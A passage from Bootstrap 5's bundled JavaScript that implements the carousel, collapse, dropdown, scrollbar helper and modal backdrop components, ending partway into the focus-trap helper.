	    const targetIndex = this._getItemIndex(relatedTarget);
	    const fromIndex = this._getItemIndex(SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element));
	    return EventHandler.trigger(this._element, EVENT_SLIDE, {
	      relatedTarget,
	      direction: eventDirectionName,
	      from: fromIndex,
	      to: targetIndex
	    });
	  }
	  _setActiveIndicatorElement(element) {
	    if (this._indicatorsElement) {
	      const activeIndicator = SelectorEngine.findOne(SELECTOR_ACTIVE$1, this._indicatorsElement);
	      activeIndicator.classList.remove(CLASS_NAME_ACTIVE$2);
	      activeIndicator.removeAttribute('aria-current');
	      const indicators = SelectorEngine.find(SELECTOR_INDICATOR, this._indicatorsElement);
	      for (let i = 0; i < indicators.length; i++) {
	        if (Number.parseInt(indicators[i].getAttribute('data-bs-slide-to'), 10) === this._getItemIndex(element)) {
	          indicators[i].classList.add(CLASS_NAME_ACTIVE$2);
	          indicators[i].setAttribute('aria-current', 'true');
	          break;
	        }
	      }
	    }
	  }
	  _updateInterval() {
	    const element = this._activeElement || SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element);
	    if (!element) {
	      return;
	    }
	    const elementInterval = Number.parseInt(element.getAttribute('data-bs-interval'), 10);
	    if (elementInterval) {
	      this._config.defaultInterval = this._config.defaultInterval || this._config.interval;
	      this._config.interval = elementInterval;
	    } else {
	      this._config.interval = this._config.defaultInterval || this._config.interval;
	    }
	  }
	  _slide(directionOrOrder, element) {
	    const order = this._directionToOrder(directionOrOrder);
	    const activeElement = SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element);
	    const activeElementIndex = this._getItemIndex(activeElement);
	    const nextElement = element || this._getItemByOrder(order, activeElement);
	    const nextElementIndex = this._getItemIndex(nextElement);
	    const isCycling = Boolean(this._interval);
	    const isNext = order === ORDER_NEXT;
	    const directionalClassName = isNext ? CLASS_NAME_START : CLASS_NAME_END;
	    const orderClassName = isNext ? CLASS_NAME_NEXT : CLASS_NAME_PREV;
	    const eventDirectionName = this._orderToDirection(order);
	    if (nextElement && nextElement.classList.contains(CLASS_NAME_ACTIVE$2)) {
	      this._isSliding = false;
	      return;
	    }
	    if (this._isSliding) {
	      return;
	    }
	    const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName);
	    if (slideEvent.defaultPrevented) {
	      return;
	    }
	    if (!activeElement || !nextElement) {
	      return;
	    }
	    this._isSliding = true;
	    if (isCycling) {
	      this.pause();
	    }
	    this._setActiveIndicatorElement(nextElement);
	    this._activeElement = nextElement;
	    const triggerSlidEvent = () => {
	      EventHandler.trigger(this._element, EVENT_SLID, {
	        relatedTarget: nextElement,
	        direction: eventDirectionName,
	        from: activeElementIndex,
	        to: nextElementIndex
	      });
	    };
	    if (this._element.classList.contains(CLASS_NAME_SLIDE)) {
	      nextElement.classList.add(orderClassName);
	      reflow(nextElement);
	      activeElement.classList.add(directionalClassName);
	      nextElement.classList.add(directionalClassName);
	      const completeCallBack = () => {
	        nextElement.classList.remove(directionalClassName, orderClassName);
	        nextElement.classList.add(CLASS_NAME_ACTIVE$2);
	        activeElement.classList.remove(CLASS_NAME_ACTIVE$2, orderClassName, directionalClassName);
	        this._isSliding = false;
	        setTimeout(triggerSlidEvent, 0);
	      };
	      this._queueCallback(completeCallBack, activeElement, true);
	    } else {
	      activeElement.classList.remove(CLASS_NAME_ACTIVE$2);
	      nextElement.classList.add(CLASS_NAME_ACTIVE$2);
	      this._isSliding = false;
	      triggerSlidEvent();
	    }
	    if (isCycling) {
	      this.cycle();
	    }
	  }
	  _directionToOrder(direction) {
	    if (![DIRECTION_RIGHT, DIRECTION_LEFT].includes(direction)) {
	      return direction;
	    }
	    if (isRTL()) {
	      return direction === DIRECTION_LEFT ? ORDER_PREV : ORDER_NEXT;
	    }
	    return direction === DIRECTION_LEFT ? ORDER_NEXT : ORDER_PREV;
	  }
	  _orderToDirection(order) {
	    if (![ORDER_NEXT, ORDER_PREV].includes(order)) {
	      return order;
	    }
	    if (isRTL()) {
	      return order === ORDER_PREV ? DIRECTION_LEFT : DIRECTION_RIGHT;
	    }
	    return order === ORDER_PREV ? DIRECTION_RIGHT : DIRECTION_LEFT;
	  }
	  static carouselInterface(element, config) {
	    const data = Carousel.getOrCreateInstance(element, config);
	    let {
	      _config
	    } = data;
	    if (typeof config === 'object') {
	      _config = { ..._config,
	        ...config
	      };
	    }
	    const action = typeof config === 'string' ? config : _config.slide;
	    if (typeof config === 'number') {
	      data.to(config);
	    } else if (typeof action === 'string') {
	      if (typeof data[action] === 'undefined') {
	        throw new TypeError(`No method named "${action}"`);
	      }
	      data[action]();
	    } else if (_config.interval && _config.ride) {
	      data.pause();
	      data.cycle();
	    }
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      Carousel.carouselInterface(this, config);
	    });
	  }
	  static dataApiClickHandler(event) {
	    const target = getElementFromSelector(this);
	    if (!target || !target.classList.contains(CLASS_NAME_CAROUSEL)) {
	      return;
	    }
	    const config = { ...Manipulator.getDataAttributes(target),
	      ...Manipulator.getDataAttributes(this)
	    };
	    const slideIndex = this.getAttribute('data-bs-slide-to');
	    if (slideIndex) {
	      config.interval = false;
	    }
	    Carousel.carouselInterface(target, config);
	    if (slideIndex) {
	      Carousel.getInstance(target).to(slideIndex);
	    }
	    event.preventDefault();
	  }
	}
	EventHandler.on(document, EVENT_CLICK_DATA_API$5, SELECTOR_DATA_SLIDE, Carousel.dataApiClickHandler);
	EventHandler.on(window, EVENT_LOAD_DATA_API$2, () => {
	  const carousels = SelectorEngine.find(SELECTOR_DATA_RIDE);
	  for (let i = 0, len = carousels.length; i < len; i++) {
	    Carousel.carouselInterface(carousels[i], Carousel.getInstance(carousels[i]));
	  }
	});
	defineJQueryPlugin(Carousel);
	const NAME$a = 'collapse';
	const DATA_KEY$9 = 'bs.collapse';
	const EVENT_KEY$9 = `.${DATA_KEY$9}`;
	const DATA_API_KEY$5 = '.data-api';
	const Default$9 = {
	  toggle: true,
	  parent: null
	};
	const DefaultType$9 = {
	  toggle: 'boolean',
	  parent: '(null|element)'
	};
	const EVENT_SHOW$5 = `show${EVENT_KEY$9}`;
	const EVENT_SHOWN$5 = `shown${EVENT_KEY$9}`;
	const EVENT_HIDE$5 = `hide${EVENT_KEY$9}`;
	const EVENT_HIDDEN$5 = `hidden${EVENT_KEY$9}`;
	const EVENT_CLICK_DATA_API$4 = `click${EVENT_KEY$9}${DATA_API_KEY$5}`;
	const CLASS_NAME_SHOW$7 = 'show';
	const CLASS_NAME_COLLAPSE = 'collapse';
	const CLASS_NAME_COLLAPSING = 'collapsing';
	const CLASS_NAME_COLLAPSED = 'collapsed';
	const CLASS_NAME_DEEPER_CHILDREN = `:scope .${CLASS_NAME_COLLAPSE} .${CLASS_NAME_COLLAPSE}`;
	const CLASS_NAME_HORIZONTAL = 'collapse-horizontal';
	const WIDTH = 'width';
	const HEIGHT = 'height';
	const SELECTOR_ACTIVES = '.collapse.show, .collapse.collapsing';
	const SELECTOR_DATA_TOGGLE$4 = '[data-bs-toggle="collapse"]';
	class Collapse extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._isTransitioning = false;
	    this._config = this._getConfig(config);
	    this._triggerArray = [];
	    const toggleList = SelectorEngine.find(SELECTOR_DATA_TOGGLE$4);
	    for (let i = 0, len = toggleList.length; i < len; i++) {
	      const elem = toggleList[i];
	      const selector = getSelectorFromElement(elem);
	      const filterElement = SelectorEngine.find(selector).filter(foundElem => foundElem === this._element);
	      if (selector !== null && filterElement.length) {
	        this._selector = selector;
	        this._triggerArray.push(elem);
	      }
	    }
	    this._initializeChildren();
	    if (!this._config.parent) {
	      this._addAriaAndCollapsedClass(this._triggerArray, this._isShown());
	    }
	    if (this._config.toggle) {
	      this.toggle();
	    }
	  }
	  static get Default() {
	    return Default$9;
	  }
	  static get NAME() {
	    return NAME$a;
	  }
	  toggle() {
	    if (this._isShown()) {
	      this.hide();
	    } else {
	      this.show();
	    }
	  }
	  show() {
	    if (this._isTransitioning || this._isShown()) {
	      return;
	    }
	    let actives = [];
	    let activesData;
	    if (this._config.parent) {
	      const children = SelectorEngine.find(CLASS_NAME_DEEPER_CHILDREN, this._config.parent);
	      actives = SelectorEngine.find(SELECTOR_ACTIVES, this._config.parent).filter(elem => !children.includes(elem));
	    }
	    const container = SelectorEngine.findOne(this._selector);
	    if (actives.length) {
	      const tempActiveData = actives.find(elem => container !== elem);
	      activesData = tempActiveData ? Collapse.getInstance(tempActiveData) : null;
	      if (activesData && activesData._isTransitioning) {
	        return;
	      }
	    }
	    const startEvent = EventHandler.trigger(this._element, EVENT_SHOW$5);
	    if (startEvent.defaultPrevented) {
	      return;
	    }
	    actives.forEach(elemActive => {
	      if (container !== elemActive) {
	        Collapse.getOrCreateInstance(elemActive, {
	          toggle: false
	        }).hide();
	      }
	      if (!activesData) {
	        Data.set(elemActive, DATA_KEY$9, null);
	      }
	    });
	    const dimension = this._getDimension();
	    this._element.classList.remove(CLASS_NAME_COLLAPSE);
	    this._element.classList.add(CLASS_NAME_COLLAPSING);
	    this._element.style[dimension] = 0;
	    this._addAriaAndCollapsedClass(this._triggerArray, true);
	    this._isTransitioning = true;
	    const complete = () => {
	      this._isTransitioning = false;
	      this._element.classList.remove(CLASS_NAME_COLLAPSING);
	      this._element.classList.add(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW$7);
	      this._element.style[dimension] = '';
	      EventHandler.trigger(this._element, EVENT_SHOWN$5);
	    };
	    const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);
	    const scrollSize = `scroll${capitalizedDimension}`;
	    this._queueCallback(complete, this._element, true);
	    this._element.style[dimension] = `${this._element[scrollSize]}px`;
	  }
	  hide() {
	    if (this._isTransitioning || !this._isShown()) {
	      return;
	    }
	    const startEvent = EventHandler.trigger(this._element, EVENT_HIDE$5);
	    if (startEvent.defaultPrevented) {
	      return;
	    }
	    const dimension = this._getDimension();
	    this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`;
	    reflow(this._element);
	    this._element.classList.add(CLASS_NAME_COLLAPSING);
	    this._element.classList.remove(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW$7);
	    const triggerArrayLength = this._triggerArray.length;
	    for (let i = 0; i < triggerArrayLength; i++) {
	      const trigger = this._triggerArray[i];
	      const elem = getElementFromSelector(trigger);
	      if (elem && !this._isShown(elem)) {
	        this._addAriaAndCollapsedClass([trigger], false);
	      }
	    }
	    this._isTransitioning = true;
	    const complete = () => {
	      this._isTransitioning = false;
	      this._element.classList.remove(CLASS_NAME_COLLAPSING);
	      this._element.classList.add(CLASS_NAME_COLLAPSE);
	      EventHandler.trigger(this._element, EVENT_HIDDEN$5);
	    };
	    this._element.style[dimension] = '';
	    this._queueCallback(complete, this._element, true);
	  }
	  _isShown(element = this._element) {
	    return element.classList.contains(CLASS_NAME_SHOW$7);
	  }
	  _getConfig(config) {
	    config = { ...Default$9,
	      ...Manipulator.getDataAttributes(this._element),
	      ...config
	    };
	    config.toggle = Boolean(config.toggle);
	    config.parent = getElement(config.parent);
	    typeCheckConfig(NAME$a, config, DefaultType$9);
	    return config;
	  }
	  _getDimension() {
	    return this._element.classList.contains(CLASS_NAME_HORIZONTAL) ? WIDTH : HEIGHT;
	  }
	  _initializeChildren() {
	    if (!this._config.parent) {
	      return;
	    }
	    const children = SelectorEngine.find(CLASS_NAME_DEEPER_CHILDREN, this._config.parent);
	    SelectorEngine.find(SELECTOR_DATA_TOGGLE$4, this._config.parent).filter(elem => !children.includes(elem)).forEach(element => {
	      const selected = getElementFromSelector(element);
	      if (selected) {
	        this._addAriaAndCollapsedClass([element], this._isShown(selected));
	      }
	    });
	  }
	  _addAriaAndCollapsedClass(triggerArray, isOpen) {
	    if (!triggerArray.length) {
	      return;
	    }
	    triggerArray.forEach(elem => {
	      if (isOpen) {
	        elem.classList.remove(CLASS_NAME_COLLAPSED);
	      } else {
	        elem.classList.add(CLASS_NAME_COLLAPSED);
	      }
	      elem.setAttribute('aria-expanded', isOpen);
	    });
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const _config = {};
	      if (typeof config === 'string' && /show|hide/.test(config)) {
	        _config.toggle = false;
	      }
	      const data = Collapse.getOrCreateInstance(this, _config);
	      if (typeof config === 'string') {
	        if (typeof data[config] === 'undefined') {
	          throw new TypeError(`No method named "${config}"`);
	        }
	        data[config]();
	      }
	    });
	  }
	}
	EventHandler.on(document, EVENT_CLICK_DATA_API$4, SELECTOR_DATA_TOGGLE$4, function (event) {
	  if (event.target.tagName === 'A' || event.delegateTarget && event.delegateTarget.tagName === 'A') {
	    event.preventDefault();
	  }
	  const selector = getSelectorFromElement(this);
	  const selectorElements = SelectorEngine.find(selector);
	  selectorElements.forEach(element => {
	    Collapse.getOrCreateInstance(element, {
	      toggle: false
	    }).toggle();
	  });
	});
	defineJQueryPlugin(Collapse);
	const NAME$9 = 'dropdown';
	const DATA_KEY$8 = 'bs.dropdown';
	const EVENT_KEY$8 = `.${DATA_KEY$8}`;
	const DATA_API_KEY$4 = '.data-api';
	const ESCAPE_KEY$2 = 'Escape';
	const SPACE_KEY = 'Space';
	const TAB_KEY$1 = 'Tab';
	const ARROW_UP_KEY = 'ArrowUp';
	const ARROW_DOWN_KEY = 'ArrowDown';
	const RIGHT_MOUSE_BUTTON = 2;
	const REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEY}|${ARROW_DOWN_KEY}|${ESCAPE_KEY$2}`);
	const EVENT_HIDE$4 = `hide${EVENT_KEY$8}`;
	const EVENT_HIDDEN$4 = `hidden${EVENT_KEY$8}`;
	const EVENT_SHOW$4 = `show${EVENT_KEY$8}`;
	const EVENT_SHOWN$4 = `shown${EVENT_KEY$8}`;
	const EVENT_CLICK_DATA_API$3 = `click${EVENT_KEY$8}${DATA_API_KEY$4}`;
	const EVENT_KEYDOWN_DATA_API = `keydown${EVENT_KEY$8}${DATA_API_KEY$4}`;
	const EVENT_KEYUP_DATA_API = `keyup${EVENT_KEY$8}${DATA_API_KEY$4}`;
	const CLASS_NAME_SHOW$6 = 'show';
	const CLASS_NAME_DROPUP = 'dropup';
	const CLASS_NAME_DROPEND = 'dropend';
	const CLASS_NAME_DROPSTART = 'dropstart';
	const CLASS_NAME_NAVBAR = 'navbar';
	const SELECTOR_DATA_TOGGLE$3 = '[data-bs-toggle="dropdown"]';
	const SELECTOR_MENU = '.dropdown-menu';
	const SELECTOR_NAVBAR_NAV = '.navbar-nav';
	const SELECTOR_VISIBLE_ITEMS = '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)';
	const PLACEMENT_TOP = isRTL() ? 'top-end' : 'top-start';
	const PLACEMENT_TOPEND = isRTL() ? 'top-start' : 'top-end';
	const PLACEMENT_BOTTOM = isRTL() ? 'bottom-end' : 'bottom-start';
	const PLACEMENT_BOTTOMEND = isRTL() ? 'bottom-start' : 'bottom-end';
	const PLACEMENT_RIGHT = isRTL() ? 'left-start' : 'right-start';
	const PLACEMENT_LEFT = isRTL() ? 'right-start' : 'left-start';
	const Default$8 = {
	  offset: [0, 2],
	  boundary: 'clippingParents',
	  reference: 'toggle',
	  display: 'dynamic',
	  popperConfig: null,
	  autoClose: true
	};
	const DefaultType$8 = {
	  offset: '(array|string|function)',
	  boundary: '(string|element)',
	  reference: '(string|element|object)',
	  display: 'string',
	  popperConfig: '(null|object|function)',
	  autoClose: '(boolean|string)'
	};
	class Dropdown extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._popper = null;
	    this._config = this._getConfig(config);
	    this._menu = this._getMenuElement();
	    this._inNavbar = this._detectNavbar();
	  }
	  static get Default() {
	    return Default$8;
	  }
	  static get DefaultType() {
	    return DefaultType$8;
	  }
	  static get NAME() {
	    return NAME$9;
	  }
	  toggle() {
	    return this._isShown() ? this.hide() : this.show();
	  }
	  show() {
	    if (isDisabled(this._element) || this._isShown(this._menu)) {
	      return;
	    }
	    const relatedTarget = {
	      relatedTarget: this._element
	    };
	    const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$4, relatedTarget);
	    if (showEvent.defaultPrevented) {
	      return;
	    }
	    const parent = Dropdown.getParentFromElement(this._element);
	    if (this._inNavbar) {
	      Manipulator.setDataAttribute(this._menu, 'popper', 'none');
	    } else {
	      this._createPopper(parent);
	    }
	    if ('ontouchstart' in document.documentElement && !parent.closest(SELECTOR_NAVBAR_NAV)) {
	      [].concat(...document.body.children).forEach(elem => EventHandler.on(elem, 'mouseover', noop));
	    }
	    this._element.focus();
	    this._element.setAttribute('aria-expanded', true);
	    this._menu.classList.add(CLASS_NAME_SHOW$6);
	    this._element.classList.add(CLASS_NAME_SHOW$6);
	    EventHandler.trigger(this._element, EVENT_SHOWN$4, relatedTarget);
	  }
	  hide() {
	    if (isDisabled(this._element) || !this._isShown(this._menu)) {
	      return;
	    }
	    const relatedTarget = {
	      relatedTarget: this._element
	    };
	    this._completeHide(relatedTarget);
	  }
	  dispose() {
	    if (this._popper) {
	      this._popper.destroy();
	    }
	    super.dispose();
	  }
	  update() {
	    this._inNavbar = this._detectNavbar();
	    if (this._popper) {
	      this._popper.update();
	    }
	  }
	  _completeHide(relatedTarget) {
	    const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE$4, relatedTarget);
	    if (hideEvent.defaultPrevented) {
	      return;
	    }
	    if ('ontouchstart' in document.documentElement) {
	      [].concat(...document.body.children).forEach(elem => EventHandler.off(elem, 'mouseover', noop));
	    }
	    if (this._popper) {
	      this._popper.destroy();
	    }
	    this._menu.classList.remove(CLASS_NAME_SHOW$6);
	    this._element.classList.remove(CLASS_NAME_SHOW$6);
	    this._element.setAttribute('aria-expanded', 'false');
	    Manipulator.removeDataAttribute(this._menu, 'popper');
	    EventHandler.trigger(this._element, EVENT_HIDDEN$4, relatedTarget);
	  }
	  _getConfig(config) {
	    config = { ...this.constructor.Default,
	      ...Manipulator.getDataAttributes(this._element),
	      ...config
	    };
	    typeCheckConfig(NAME$9, config, this.constructor.DefaultType);
	    if (typeof config.reference === 'object' && !isElement(config.reference) && typeof config.reference.getBoundingClientRect !== 'function') {
	      throw new TypeError(`${NAME$9.toUpperCase()}: Option "reference" provided type "object" without a required "getBoundingClientRect" method.`);
	    }
	    return config;
	  }
	  _createPopper(parent) {
	    if (typeof Popper === 'undefined') {
	      throw new TypeError('Bootstrap\'s dropdowns require Popper (https://popper.js.org)');
	    }
	    let referenceElement = this._element;
	    if (this._config.reference === 'parent') {
	      referenceElement = parent;
	    } else if (isElement(this._config.reference)) {
	      referenceElement = getElement(this._config.reference);
	    } else if (typeof this._config.reference === 'object') {
	      referenceElement = this._config.reference;
	    }
	    const popperConfig = this._getPopperConfig();
	    const isDisplayStatic = popperConfig.modifiers.find(modifier => modifier.name === 'applyStyles' && modifier.enabled === false);
	    this._popper = createPopper(referenceElement, this._menu, popperConfig);
	    if (isDisplayStatic) {
	      Manipulator.setDataAttribute(this._menu, 'popper', 'static');
	    }
	  }
	  _isShown(element = this._element) {
	    return element.classList.contains(CLASS_NAME_SHOW$6);
	  }
	  _getMenuElement() {
	    return SelectorEngine.next(this._element, SELECTOR_MENU)[0];
	  }
	  _getPlacement() {
	    const parentDropdown = this._element.parentNode;
	    if (parentDropdown.classList.contains(CLASS_NAME_DROPEND)) {
	      return PLACEMENT_RIGHT;
	    }
	    if (parentDropdown.classList.contains(CLASS_NAME_DROPSTART)) {
	      return PLACEMENT_LEFT;
	    }
	    const isEnd = getComputedStyle(this._menu).getPropertyValue('--bs-position').trim() === 'end';
	    if (parentDropdown.classList.contains(CLASS_NAME_DROPUP)) {
	      return isEnd ? PLACEMENT_TOPEND : PLACEMENT_TOP;
	    }
	    return isEnd ? PLACEMENT_BOTTOMEND : PLACEMENT_BOTTOM;
	  }
	  _detectNavbar() {
	    return this._element.closest(`.${CLASS_NAME_NAVBAR}`) !== null;
	  }
	  _getOffset() {
	    const {
	      offset
	    } = this._config;
	    if (typeof offset === 'string') {
	      return offset.split(',').map(val => Number.parseInt(val, 10));
	    }
	    if (typeof offset === 'function') {
	      return popperData => offset(popperData, this._element);
	    }
	    return offset;
	  }
	  _getPopperConfig() {
	    const defaultBsPopperConfig = {
	      placement: this._getPlacement(),
	      modifiers: [{
	        name: 'preventOverflow',
	        options: {
	          boundary: this._config.boundary
	        }
	      }, {
	        name: 'offset',
	        options: {
	          offset: this._getOffset()
	        }
	      }]
	    };
	    if (this._config.display === 'static') {
	      defaultBsPopperConfig.modifiers = [{
	        name: 'applyStyles',
	        enabled: false
	      }];
	    }
	    return { ...defaultBsPopperConfig,
	      ...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)
	    };
	  }
	  _selectMenuItem({
	    key,
	    target
	  }) {
	    const items = SelectorEngine.find(SELECTOR_VISIBLE_ITEMS, this._menu).filter(isVisible);
	    if (!items.length) {
	      return;
	    }
	    getNextActiveElement(items, target, key === ARROW_DOWN_KEY, !items.includes(target)).focus();
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Dropdown.getOrCreateInstance(this, config);
	      if (typeof config !== 'string') {
	        return;
	      }
	      if (typeof data[config] === 'undefined') {
	        throw new TypeError(`No method named "${config}"`);
	      }
	      data[config]();
	    });
	  }
	  static clearMenus(event) {
	    if (event && (event.button === RIGHT_MOUSE_BUTTON || event.type === 'keyup' && event.key !== TAB_KEY$1)) {
	      return;
	    }
	    const toggles = SelectorEngine.find(SELECTOR_DATA_TOGGLE$3);
	    for (let i = 0, len = toggles.length; i < len; i++) {
	      const context = Dropdown.getInstance(toggles[i]);
	      if (!context || context._config.autoClose === false) {
	        continue;
	      }
	      if (!context._isShown()) {
	        continue;
	      }
	      const relatedTarget = {
	        relatedTarget: context._element
	      };
	      if (event) {
	        const composedPath = event.composedPath();
	        const isMenuTarget = composedPath.includes(context._menu);
	        if (composedPath.includes(context._element) || context._config.autoClose === 'inside' && !isMenuTarget || context._config.autoClose === 'outside' && isMenuTarget) {
	          continue;
	        }
	        if (context._menu.contains(event.target) && (event.type === 'keyup' && event.key === TAB_KEY$1 || /input|select|option|textarea|form/i.test(event.target.tagName))) {
	          continue;
	        }
	        if (event.type === 'click') {
	          relatedTarget.clickEvent = event;
	        }
	      }
	      context._completeHide(relatedTarget);
	    }
	  }
	  static getParentFromElement(element) {
	    return getElementFromSelector(element) || element.parentNode;
	  }
	  static dataApiKeydownHandler(event) {
	    if (/input|textarea/i.test(event.target.tagName) ? event.key === SPACE_KEY || event.key !== ESCAPE_KEY$2 && (event.key !== ARROW_DOWN_KEY && event.key !== ARROW_UP_KEY || event.target.closest(SELECTOR_MENU)) : !REGEXP_KEYDOWN.test(event.key)) {
	      return;
	    }
	    const isActive = this.classList.contains(CLASS_NAME_SHOW$6);
	    if (!isActive && event.key === ESCAPE_KEY$2) {
	      return;
	    }
	    event.preventDefault();
	    event.stopPropagation();
	    if (isDisabled(this)) {
	      return;
	    }
	    const getToggleButton = this.matches(SELECTOR_DATA_TOGGLE$3) ? this : SelectorEngine.prev(this, SELECTOR_DATA_TOGGLE$3)[0];
	    const instance = Dropdown.getOrCreateInstance(getToggleButton);
	    if (event.key === ESCAPE_KEY$2) {
	      instance.hide();
	      return;
	    }
	    if (event.key === ARROW_UP_KEY || event.key === ARROW_DOWN_KEY) {
	      if (!isActive) {
	        instance.show();
	      }
	      instance._selectMenuItem(event);
	      return;
	    }
	    if (!isActive || event.key === SPACE_KEY) {
	      Dropdown.clearMenus();
	    }
	  }
	}
	EventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_DATA_TOGGLE$3, Dropdown.dataApiKeydownHandler);
	EventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_MENU, Dropdown.dataApiKeydownHandler);
	EventHandler.on(document, EVENT_CLICK_DATA_API$3, Dropdown.clearMenus);
	EventHandler.on(document, EVENT_KEYUP_DATA_API, Dropdown.clearMenus);
	EventHandler.on(document, EVENT_CLICK_DATA_API$3, SELECTOR_DATA_TOGGLE$3, function (event) {
	  event.preventDefault();
	  Dropdown.getOrCreateInstance(this).toggle();
	});
	defineJQueryPlugin(Dropdown);
	const SELECTOR_FIXED_CONTENT = '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top';
	const SELECTOR_STICKY_CONTENT = '.sticky-top';
	class ScrollBarHelper {
	  constructor() {
	    this._element = document.body;
	  }
	  getWidth() {
	    const documentWidth = document.documentElement.clientWidth;
	    return Math.abs(window.innerWidth - documentWidth);
	  }
	  hide() {
	    const width = this.getWidth();
	    this._disableOverFlow();
	    this._setElementAttributes(this._element, 'paddingRight', calculatedValue => calculatedValue + width);
	    this._setElementAttributes(SELECTOR_FIXED_CONTENT, 'paddingRight', calculatedValue => calculatedValue + width);
	    this._setElementAttributes(SELECTOR_STICKY_CONTENT, 'marginRight', calculatedValue => calculatedValue - width);
	  }
	  _disableOverFlow() {
	    this._saveInitialAttribute(this._element, 'overflow');
	    this._element.style.overflow = 'hidden';
	  }
	  _setElementAttributes(selector, styleProp, callback) {
	    const scrollbarWidth = this.getWidth();
	    const manipulationCallBack = element => {
	      if (element !== this._element && window.innerWidth > element.clientWidth + scrollbarWidth) {
	        return;
	      }
	      this._saveInitialAttribute(element, styleProp);
	      const calculatedValue = window.getComputedStyle(element)[styleProp];
	      element.style[styleProp] = `${callback(Number.parseFloat(calculatedValue))}px`;
	    };
	    this._applyManipulationCallback(selector, manipulationCallBack);
	  }
	  reset() {
	    this._resetElementAttributes(this._element, 'overflow');
	    this._resetElementAttributes(this._element, 'paddingRight');
	    this._resetElementAttributes(SELECTOR_FIXED_CONTENT, 'paddingRight');
	    this._resetElementAttributes(SELECTOR_STICKY_CONTENT, 'marginRight');
	  }
	  _saveInitialAttribute(element, styleProp) {
	    const actualValue = element.style[styleProp];
	    if (actualValue) {
	      Manipulator.setDataAttribute(element, styleProp, actualValue);
	    }
	  }
	  _resetElementAttributes(selector, styleProp) {
	    const manipulationCallBack = element => {
	      const value = Manipulator.getDataAttribute(element, styleProp);
	      if (typeof value === 'undefined') {
	        element.style.removeProperty(styleProp);
	      } else {
	        Manipulator.removeDataAttribute(element, styleProp);
	        element.style[styleProp] = value;
	      }
	    };
	    this._applyManipulationCallback(selector, manipulationCallBack);
	  }
	  _applyManipulationCallback(selector, callBack) {
	    if (isElement(selector)) {
	      callBack(selector);
	    } else {
	      SelectorEngine.find(selector, this._element).forEach(callBack);
	    }
	  }
	  isOverflowing() {
	    return this.getWidth() > 0;
	  }
	}
	const Default$7 = {
	  className: 'modal-backdrop',
	  isVisible: true,
	  isAnimated: false,
	  rootElement: 'body',
	  clickCallback: null
	};
	const DefaultType$7 = {
	  className: 'string',
	  isVisible: 'boolean',
	  isAnimated: 'boolean',
	  rootElement: '(element|string)',
	  clickCallback: '(function|null)'
	};
	const NAME$8 = 'backdrop';
	const CLASS_NAME_FADE$4 = 'fade';
	const CLASS_NAME_SHOW$5 = 'show';
	const EVENT_MOUSEDOWN = `mousedown.bs.${NAME$8}`;
	class Backdrop {
	  constructor(config) {
	    this._config = this._getConfig(config);
	    this._isAppended = false;
	    this._element = null;
	  }
	  show(callback) {
	    if (!this._config.isVisible) {
	      execute(callback);
	      return;
	    }
	    this._append();
	    if (this._config.isAnimated) {
	      reflow(this._getElement());
	    }
	    this._getElement().classList.add(CLASS_NAME_SHOW$5);
	    this._emulateAnimation(() => {
	      execute(callback);
	    });
	  }
	  hide(callback) {
	    if (!this._config.isVisible) {
	      execute(callback);
	      return;
	    }
	    this._getElement().classList.remove(CLASS_NAME_SHOW$5);
	    this._emulateAnimation(() => {
	      this.dispose();
	      execute(callback);
	    });
	  }
	  _getElement() {
	    if (!this._element) {
	      const backdrop = document.createElement('div');
	      backdrop.className = this._config.className;
	      if (this._config.isAnimated) {
	        backdrop.classList.add(CLASS_NAME_FADE$4);
	      }
	      this._element = backdrop;
	    }
	    return this._element;
	  }
	  _getConfig(config) {
	    config = { ...Default$7,
	      ...(typeof config === 'object' ? config : {})
	    };
	    config.rootElement = getElement(config.rootElement);
	    typeCheckConfig(NAME$8, config, DefaultType$7);
	    return config;
	  }
	  _append() {
	    if (this._isAppended) {
	      return;
	    }
	    this._config.rootElement.append(this._getElement());
	    EventHandler.on(this._getElement(), EVENT_MOUSEDOWN, () => {
	      execute(this._config.clickCallback);
	    });
	    this._isAppended = true;
	  }
	  dispose() {
	    if (!this._isAppended) {
	      return;
	    }
	    EventHandler.off(this._element, EVENT_MOUSEDOWN);
	    this._element.remove();
	    this._isAppended = false;
	  }
	  _emulateAnimation(callback) {
	    executeAfterTransition(callback, this._getElement(), this._config.isAnimated);
	  }
	}
	const Default$6 = {
	  trapElement: null,
	  autofocus: true
	};
	const DefaultType$6 = {
	  trapElement: 'element',
	  autofocus: 'boolean'
	};
	const NAME$7 = 'focustrap';
	const DATA_KEY$7 = 'bs.focustrap';
	const EVENT_KEY$7 = `.${DATA_KEY$7}`;
	const EVENT_FOCUSIN$1 = `focusin${EVENT_KEY$7}`;
	const EVENT_KEYDOWN_TAB = `keydown.tab${EVENT_KEY$7}`;
	const TAB_KEY = 'Tab';
	const TAB_NAV_FORWARD = 'forward';
	const TAB_NAV_BACKWARD = 'backward';
	class FocusTrap {
	  constructor(config) {
	    this._config = this._getConfig(config);
	    this._isActive = false;
	    this._lastTabNavDirection = null;
	  }
	  activate() {
	    const {
	      trapElement,
	      autofocus
	    } = this._config;
	    if (this._isActive) {
	      return;
	    }
	    if (autofocus) {
	      trapElement.focus();
	    }
	    EventHandler.off(document, EVENT_KEY$7);
	    EventHandler.on(document, EVENT_FOCUSIN$1, event => this._handleFocusin(event));
